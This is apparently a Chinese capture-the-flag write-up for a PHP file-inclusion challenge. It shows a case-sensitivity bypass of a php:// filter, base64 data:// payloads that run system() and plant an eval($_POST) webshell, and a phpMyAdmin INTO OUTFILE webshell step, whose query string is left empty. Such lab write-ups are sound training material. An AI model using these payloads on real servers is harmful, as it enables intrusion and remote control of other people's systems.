题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1
打开页面得到如下代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
分析代码可知程序过滤掉了page=参数传入php://
大小写绕过由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input
Post传输恶意代码
植入木马进行控制
base64编码后使用
http://111.200.241.244:62364/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看源码得到flag
base64加密后拼接
http://111.200.241.244:62364/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
蚁剑连接就好
御剑扫描获得phpmyadmin root 密码空 进入
数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT ""
INTO OUTFILE '/tmp/test1.php'
flag为:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}